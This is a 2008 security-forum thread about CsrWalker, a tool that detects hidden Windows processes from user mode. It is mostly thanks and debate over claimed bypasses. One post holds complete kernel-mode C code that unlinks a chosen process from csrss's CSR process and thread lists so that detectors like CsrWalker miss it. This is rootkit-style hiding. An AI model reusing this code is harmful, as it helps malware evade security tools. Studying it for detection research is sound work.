![]() |
CsrWalker - processes detection from User Mode |
Post Reply
|
Page 12> |
| Author | |||
Orkblutt
Newbie
Joined: 19 July 2005 Online Status: Offline Posts: 15 |
Post Options
Quote Reply
Topic: CsrWalker - processes detection from User ModePosted: 20 September 2008 at 10:02am |
||
Thank you ![]() |
|||
![]() |
|||
SystemPro
Senior Member
Joined: 26 April 2007 Location: Germany Online Status: Offline Posts: 504 |
Post Options
Quote Reply
Posted: 19 September 2008 at 6:22pm |
||
|
|||
|
Concentrate on your strengths.
|
|||
![]() |
|||
Orkblutt
Newbie
Joined: 19 July 2005 Online Status: Offline Posts: 15 |
Post Options
Quote Reply
Posted: 19 September 2008 at 3:42pm |
||
|
Hi DiabloNova,
just a little snipet to bypass your tool... I was too lazy to try to implement it from userland and i found an almost ready to use implementation from the 0vercl0ck's blog. I just added the CSR_THREAD and the Vista part. I didn't try to check if the hardcoded offset are valid for Vista... it's just for the idea... best regards, Orkblutt /* Anti CsrWalker from r0 by Orkblutt ( http://orkblutt.free.fr ) Original idea and implementation by 0vercl0ck http://overclok.free.fr/Codes/PspCidTable/UnlinkInCrss%20-%20Ring0.html http://0vercl0k.blogspot.com/ modified to unlink CSR_THREAD and to work under Vista */ int UnlinkIt(ULONG Pid, PEPROCESS pCsrss) { PEPROCESS pCurrentEprocess; PLIST_ENTRY pleCurrent; LIST_ENTRY lEntry; ULONG ulStartingValue; KAPC_STATE kApcState; PUCHAR pPeb , pPebLdr , pPebLdrEntry , imgBaseCsrsrv , name , CsrLockProcessByClientId = 0 , CsrRootProcess , CsrLockThreadByClientId, CsrThreadHashTable ; PIMAGE_DOS_HEADER pImgDosHeader; PIMAGE_NT_HEADERS pImgNtHeader; PIMAGE_EXPORT_DIRECTORY pImgExportDirectory; PULONG rvaNameTable , rvaAdressTable; int i; PCSR_PROCESS pCsrProcess; PCSR_THREAD pCsrHashThread; imgBaseCsrsrv = NULL; CsrLockProcessByClientId = NULL; CsrLockThreadByClientId = NULL; CsrThreadHashTable = NULL; KeStackAttachProcess( (PKPROCESS)pCsrss , &kApcState ); pPeb = (PUCHAR)*(PULONG)((PUCHAR)pCsrss + 0x1b0); // +0x1b0 Peb : Ptr32 _PEB pPebLdr = (PUCHAR)*(PULONG)(pPeb + 0x00c); // +0x00c Ldr : Ptr32 _PEB_LDR_DATA pleCurrent = (PLIST_ENTRY)(pPebLdr+0x00c); //+0x00c InLoadOrderModuleList : _LIST_ENTRY pPebLdrEntry = (PUCHAR)pleCurrent->Flink; ulStartingValue = (ULONG)pPebLdrEntry; pleCurrent = (PLIST_ENTRY)pleCurrent->Flink; while (ulStartingValue != (ULONG)pleCurrent->Flink) { // DbgPrint("Modul : %ws.\n" , *(PULONG)(pPebLdrEntry+0x024+0x004) ); //+0x024 FullDllName : _UNICODE_STRING // +0x004 Buffer : Ptr32 Uint2B if ( wcsstr( (wchar_t*)*(PULONG)(pPebLdrEntry+0x024+0x004) , L"CSRSRV.dll" ) != NULL ) { imgBaseCsrsrv = (PUCHAR)*(PULONG)(pPebLdrEntry + 0x018) ; // +0x018 DllBase : Ptr32 Void break; } pPebLdrEntry = (PUCHAR)pleCurrent->Flink; pleCurrent = (PLIST_ENTRY)pleCurrent->Flink; } if (imgBaseCsrsrv == NULL) { KeUnstackDetachProcess( &kApcState ); return 0; } //DbgPrint("Image Base Csrsrv.dll : %x." , imgBaseCsrsrv ); /* */ /* Parcours de son EAT */ pImgDosHeader = (PIMAGE_DOS_HEADER)imgBaseCsrsrv; pImgNtHeader = (PIMAGE_NT_HEADERS)(imgBaseCsrsrv + pImgDosHeader->e_lfanew); pImgExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(imgBaseCsrsrv + pImgNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); rvaNameTable = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfNames); rvaAdressTable = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfFunctions); for ( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++) { //DbgPrint("Function : %s.\n" , imgBaseCsrsrv + rvaNameTable ); if ( strcmp("CsrLockProcessByClientId" , (const char *)imgBaseCsrsrv + rvaNameTable) == 0 ) { CsrLockProcessByClientId = imgBaseCsrsrv + rvaAdressTable; // DbgPrint("CsrLockProcessByClientId : %x.\n" , CsrLockProcessByClientId ); break; } } if ( CsrLockProcessByClientId == NULL ) { KeUnstackDetachProcess( &kApcState ); return 0; } for ( i = 0 ; i < 50 ; i++ ) { if ( (*(CsrLockProcessByClientId+i) == 0x83) && (*(CsrLockProcessByClientId+i+1) == 0x22) && (*(CsrLockProcessByClientId+i+2) == 0x00) && (*(CsrLockProcessByClientId+i+3) == 0x8B) && (*(CsrLockProcessByClientId+i+4) == 0x35) && (*(CsrLockProcessByClientId+i+9) == 0x83) && (*(CsrLockProcessByClientId+i+10) == 0xC6) && (*(CsrLockProcessByClientId+i+11) == 0x08) ) { CsrRootProcess = (PUCHAR)*(PULONG)(*(PULONG)(CsrLockProcessByClientId+i+5)); break; } } if ( i == 50 ) { KeUnstackDetachProcess( &kApcState ); return 0; } pCsrProcess = (PCSR_PROCESS)CsrRootProcess; pCurrentEprocess = IoGetCurrentProcess(); ulStartingValue = (ULONG)pCurrentEprocess; do { if (Pid == *(PULONG)((PUCHAR)pCurrentEprocess + 0x084)) break; pleCurrent = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess + 0x88); // +0x088 ActiveProcessLinks : _LIST_ENTRY pCurrentEprocess = (PEPROCESS)((PUCHAR)pleCurrent->Flink - 0x88); } while ((ULONG)pCurrentEprocess != ulStartingValue); if ((ULONG)pCurrentEprocess == ulStartingValue) { KeUnstackDetachProcess( &kApcState ); return 0; } i = 0; lEntry = pCsrProcess->ListLink; ulStartingValue = (ULONG)pCsrProcess; pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8); while (ulStartingValue != (ULONG)pCsrProcess) { if ( (ULONG)pCsrProcess->ClientId.UniqueProcess == *(PULONG)((PUCHAR)pCurrentEprocess + 0x084) ) // +0x084 UniqueProcessId : Ptr32 Void { *(PULONG)(pCsrProcess->ListLink.Blink) = (ULONG) pCsrProcess->ListLink.Flink; *(PULONG)((PUCHAR)pCsrProcess->ListLink.Flink + 4) = (ULONG)pCsrProcess->ListLink.Blink; i = 1; } lEntry = *(lEntry.Flink); pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8); } if ( i == 0 ) { KeUnstackDetachProcess( &kApcState ); return 0; } for ( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++) { if ( strcmp("CsrLockThreadByClientId" , (const char *)imgBaseCsrsrv + rvaNameTable) == 0 ) { CsrLockThreadByClientId = imgBaseCsrsrv + rvaAdressTable; break; } } if ( CsrLockThreadByClientId == NULL ) { KeUnstackDetachProcess( &kApcState ); return 0; } for ( i = 0 ; i < 50 ; i++ ) { if ( (*(CsrLockThreadByClientId+i) == 0x8D) && (*(CsrLockThreadByClientId+i+2) == 0xC5)) { CsrThreadHashTable = (PUCHAR)(*(PULONG)(CsrLockThreadByClientId+i+3)); break; } } if(CsrThreadHashTable == 0) { KeUnstackDetachProcess( &kApcState ); return 0; } for (i = 0; i < 256; i++) { PLIST_ENTRY ListHead, NextEntry; ListHead = (PLIST_ENTRY)(CsrThreadHashTable + (8 * i)); NextEntry = ListHead->Flink; while (NextEntry != ListHead) { pCsrHashThread = CONTAINING_RECORD(NextEntry, CSR_THREAD, HashLinks); if (pCsrHashThread) { if ((ULONG)pCsrHashThread->Process->ClientId.UniqueProcess == Pid) { *(PULONG)(NextEntry->Blink) = (ULONG) NextEntry->Flink; *(PULONG)((PUCHAR)NextEntry->Flink + 4) = (ULONG)NextEntry->Blink; } } NextEntry = NextEntry->Flink; } } KeUnstackDetachProcess( &kApcState ); return 1; } void UnlinkFromCsrss(ULONG PidToHide) { PEPROCESS pCurrentEprocess; PLIST_ENTRY pleCurrent; ULONG ulStartingValue; pCurrentEprocess = IoGetCurrentProcess(); ulStartingValue = (ULONG)pCurrentEprocess; do { if (strncmp("csrss.exe" , (const char *)pCurrentEprocess + 0x174 , 15) == 0) { if(UnlinkIt(PidToHide, pCurrentEprocess)) DbgPrint("%d unlinked from csrss:%d\n", PidToHide, *(PULONG)((PUCHAR)pCurrentEprocess + 0x084)); else DbgPrint("can't unlink %d from csrss:%d\n", PidToHide, *(PULONG)((PUCHAR)pCurrentEprocess + 0x084)); } pleCurrent = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess + 0x88); pCurrentEprocess = (PEPROCESS)((PUCHAR)pleCurrent->Flink - 0x88); } while ((ULONG)pCurrentEprocess != ulStartingValue); } Edited by Orkblutt - 19 September 2008 at 3:54pm |
|||
![]() |
|||
Russell
Groupie
Joined: 20 June 2007 Online Status: Offline Posts: 64 |
Post Options
Quote Reply
Posted: 20 July 2008 at 2:39am |
||
|
Thanks for sharing CsrWalker Diablo. Great Tool! Thanks again for the time and work you put into it.
|
|||
![]() |
|||
Meriadoc
Senior Member
Joined: 22 August 2006 Online Status: Offline Posts: 233 |
Post Options
Quote Reply
Posted: 19 July 2008 at 8:49am |
||
|
VERY nice work Diablo...thankyou!
|
|||
![]() |
|||
Diablo
Senior Member
Joined: 16 July 2008 Location: Western Sahara Online Status: Offline Posts: 251 |
Post Options
Quote Reply
Posted: 19 July 2008 at 7:10am |
||
|
Thanks for the feedback.
However I also get some kind of another feedback from international hax0rs community. They already bypassed this tool
This is quote from one of the chinese forums (I can't register and login there):
Here is the mine answer: 1)
2) GUI is Graphical User Interface abbreviation. This application is CUI - Console User Interface. So how it can be bypassed by GUI if it haven't GUI? They definitely not familar with common Windows abbreviations or bypassed some other application
Another quote which make me laught
Here is mine answer: Regarding to ZwOpenProcess it is a stub in ntoskrnl.exe which looks like this (Server 2003)
This is stub. It isn't called inside NtOpenProcess SSDT entry. If you hooked it, it is not enough to prevent application from opening other process, simple because this function never been called from user mode. If you hooked ZwOpenProcess in user mode, than it have sense. But you should hook this function inside detector. It is just example of illeterate nature of some hax0rs , who are unfamilar with common abbreviations.
And this is doesn't meaningful simple because GUI hacking and preventing detector from work isn't means BYPASSING. Using such "tricks" is a sign not of hackers, but suxx0rs The best proof of bypassing will be not pathetic tricks as listed above - the best proof of your abilities will be coding undetected sample of hidden process hider, which will bypass conceptually all public detectors (including csrwalker), as it did phide_ex in its time. Anything else is bullsh*t of unsatisfied hax0rs.Edited by Diablo - 19 July 2008 at 7:11am |
|||
![]() |
|||
EASTER
Senior Member
Joined: 27 October 2006 Location: United States Online Status: Offline Posts: 336 |
Post Options
Quote Reply
Posted: 18 July 2008 at 5:34am |
||
|
What else to possibly add to this. Brilliant effort and thanks for the field details and accompanying commentary. EASTER |
|||
|
INTENSIVE TECHNICAL RESEARCH ANALYSIS AND STEALTH EXAMINER.
|
|||
![]() |
|||
Fyyre
Senior Member
Joined: 12 April 2006 Online Status: Offline Posts: 227 |
Post Options
Quote Reply
Posted: 17 July 2008 at 11:48pm |
||
|
complete with lovely bow icon~ good work friend =)
Edited by Fyyre - 17 July 2008 at 11:51pm |
|||
![]() |
|||
Elite
Senior Member
Joined: 15 April 2007 Location: United States Online Status: Offline Posts: 175 |
Post Options
Quote Reply
Posted: 17 July 2008 at 6:30pm |
||
|
Fun little app.
|
|||
|
4 > 1
|
|||
![]() |
|||
USForce
Senior Member
Joined: 26 October 2007 Location: United States Online Status: Offline Posts: 150 |
Post Options
Quote Reply
Posted: 17 July 2008 at 4:28pm |
||
|
Thank you EP_X0FF
![]() It's really interesting |
|||
![]() |
|||
Post Reply
|
Page 12> |
| Forum Jump | Forum Permissions ![]() You cannot post new topics in this forum You cannot reply to topics in this forum You cannot delete your posts in this forum You cannot edit your posts in this forum You cannot create polls in this forum You cannot vote in polls in this forum |